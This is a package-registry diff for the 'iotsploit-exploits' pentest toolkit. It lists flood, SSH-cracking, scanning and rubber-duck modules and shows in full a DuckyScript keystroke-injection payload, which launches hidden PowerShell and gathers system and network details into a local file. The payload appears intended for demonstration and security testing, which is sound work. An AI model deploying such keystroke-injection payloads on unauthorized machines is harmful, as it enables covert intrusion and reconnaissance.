iotsploit-exploits 0.0.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- iotsploit_exploits/__init__.py +1 -0
- iotsploit_exploits/adb_check/__init__.py +0 -0
- iotsploit_exploits/adb_check/adb_check.py +493 -0
- iotsploit_exploits/demo/__init__.py +0 -0
- iotsploit_exploits/demo/async_sleep_attack.py +106 -0
- iotsploit_exploits/demo/stream_data_attack.py +184 -0
- iotsploit_exploits/flood_attack/__init__.py +0 -0
- iotsploit_exploits/flood_attack/flood_attack.py +129 -0
- iotsploit_exploits/flood_attack/syn_flood_attack.py +233 -0
- iotsploit_exploits/greatfet_echo.py +103 -0
- iotsploit_exploits/greatfet_rubber_duck.py +417 -0
- iotsploit_exploits/hydra_cracker/weak_pass.txt +471 -0
- iotsploit_exploits/hydra_cracker/weak_pass_simple.txt +5 -0
- iotsploit_exploits/hydra_ssh_attack.py +159 -0
- iotsploit_exploits/ip_scan/__init__.py +0 -0
- iotsploit_exploits/ip_scan/ip_scan.py +196 -0
- iotsploit_exploits/nmap_scan/__init__.py +0 -0
- iotsploit_exploits/nmap_scan/nmap_scan.py +207 -0
- iotsploit_exploits/plugin_ssh.py +146 -0
- iotsploit_exploits/rubber_duck_scripts/linux_infogather.txt +126 -0
- iotsploit_exploits/rubber_duck_scripts/windows_payload.txt +93 -0
- iotsploit_exploits/serial/__init__.py +0 -0
- iotsploit_exploits/serial/picocom_serial_reader.py +704 -0
- iotsploit_exploits/simple_rubber_duck.py +183 -0
- iotsploit_exploits/wifi_scan/__init__.py +0 -0
- iotsploit_exploits/wifi_scan/wifi_scan.py +242 -0
- iotsploit_exploits-0.0.6.dist-info/METADATA +65 -0
- iotsploit_exploits-0.0.6.dist-info/RECORD +30 -0
- iotsploit_exploits-0.0.6.dist-info/WHEEL +4 -0
- iotsploit_exploits-0.0.6.dist-info/entry_points.txt +16 -0
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
REM Windows Simple PowerShell Command Execution Script
|
|
2
|
+
REM -----------------------------------------------
|
|
3
|
+
REM This script opens PowerShell and executes some basic commands
|
|
4
|
+
|
|
5
|
+
REM Wait for device recognition
|
|
6
|
+
DELAY 1000
|
|
7
|
+
|
|
8
|
+
REM Open Run dialog
|
|
9
|
+
GUI r
|
|
10
|
+
DELAY 500
|
|
11
|
+
|
|
12
|
+
REM Start PowerShell
|
|
13
|
+
STRING powershell -NoP -NonI -W Hidden
|
|
14
|
+
DELAY 200
|
|
15
|
+
ENTER
|
|
16
|
+
DELAY 1500
|
|
17
|
+
|
|
18
|
+
REM Create a new directory for our work
|
|
19
|
+
STRING $workdir = "$env:USERPROFILE\Documents\duck_data"; New-Item -ItemType Directory -Force -Path $workdir | Out-Null
|
|
20
|
+
DELAY 200
|
|
21
|
+
ENTER
|
|
22
|
+
DELAY 500
|
|
23
|
+
|
|
24
|
+
REM Change to that directory
|
|
25
|
+
STRING cd $workdir
|
|
26
|
+
DELAY 200
|
|
27
|
+
ENTER
|
|
28
|
+
DELAY 300
|
|
29
|
+
|
|
30
|
+
REM Get system information
|
|
31
|
+
STRING Write-Output "=== System Information Collected by Rubber Duck ===" | Out-File -FilePath .\system_info.txt
|
|
32
|
+
DELAY 200
|
|
33
|
+
ENTER
|
|
34
|
+
DELAY 300
|
|
35
|
+
|
|
36
|
+
REM Computer name and Windows version
|
|
37
|
+
STRING Write-Output "`n=== Computer Name and OS ===" | Out-File -FilePath .\system_info.txt -Append
|
|
38
|
+
DELAY 200
|
|
39
|
+
ENTER
|
|
40
|
+
DELAY 300
|
|
41
|
+
|
|
42
|
+
STRING Get-ComputerInfo | Select-Object CsName, OsName, OsVersion, OsBuildNumber | Format-List | Out-File -FilePath .\system_info.txt -Append
|
|
43
|
+
DELAY 200
|
|
44
|
+
ENTER
|
|
45
|
+
DELAY 1000
|
|
46
|
+
|
|
47
|
+
REM Network information
|
|
48
|
+
STRING Write-Output "`n=== Network Interfaces ===" | Out-File -FilePath .\system_info.txt -Append
|
|
49
|
+
DELAY 200
|
|
50
|
+
ENTER
|
|
51
|
+
DELAY 300
|
|
52
|
+
|
|
53
|
+
STRING Get-NetIPAddress | Where-Object {$_.AddressFamily -eq "IPv4"} | Select-Object InterfaceAlias, IPAddress | Format-Table -AutoSize | Out-File -FilePath .\system_info.txt -Append
|
|
54
|
+
DELAY 200
|
|
55
|
+
ENTER
|
|
56
|
+
DELAY 1000
|
|
57
|
+
|
|
58
|
+
REM Hardware information
|
|
59
|
+
STRING Write-Output "`n=== Hardware Information ===" | Out-File -FilePath .\system_info.txt -Append
|
|
60
|
+
DELAY 200
|
|
61
|
+
ENTER
|
|
62
|
+
DELAY 300
|
|
63
|
+
|
|
64
|
+
STRING Get-WmiObject -Class Win32_Processor | Select-Object Name, NumberOfCores, MaxClockSpeed | Format-List | Out-File -FilePath .\system_info.txt -Append
|
|
65
|
+
DELAY 200
|
|
66
|
+
ENTER
|
|
67
|
+
DELAY 1000
|
|
68
|
+
|
|
69
|
+
STRING Get-WmiObject -Class Win32_ComputerSystem | Select-Object TotalPhysicalMemory | ForEach-Object { [PSCustomObject]@{ TotalRAM_GB = [math]::Round($_.TotalPhysicalMemory/1GB, 2) } } | Format-List | Out-File -FilePath .\system_info.txt -Append
|
|
70
|
+
DELAY 200
|
|
71
|
+
ENTER
|
|
72
|
+
DELAY 1000
|
|
73
|
+
|
|
74
|
+
REM Display the output file
|
|
75
|
+
STRING notepad .\system_info.txt
|
|
76
|
+
DELAY 200
|
|
77
|
+
ENTER
|
|
78
|
+
DELAY 3000
|
|
79
|
+
|
|
80
|
+
REM Close notepad
|
|
81
|
+
ALT F4
|
|
82
|
+
DELAY 500
|
|
83
|
+
|
|
84
|
+
REM Create a simple pop-up message as proof of execution
|
|
85
|
+
STRING Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('Rubber Duck payload executed successfully!', 'Rubber Duck Demo', 'OK', 'Information')
|
|
86
|
+
DELAY 200
|
|
87
|
+
ENTER
|
|
88
|
+
|
|
89
|
+
REM Clean up by exiting PowerShell
|
|
90
|
+
DELAY 3000
|
|
91
|
+
STRING exit
|
|
92
|
+
DELAY 200
|
|
93
|
+
ENTER
|
|
File without changes
|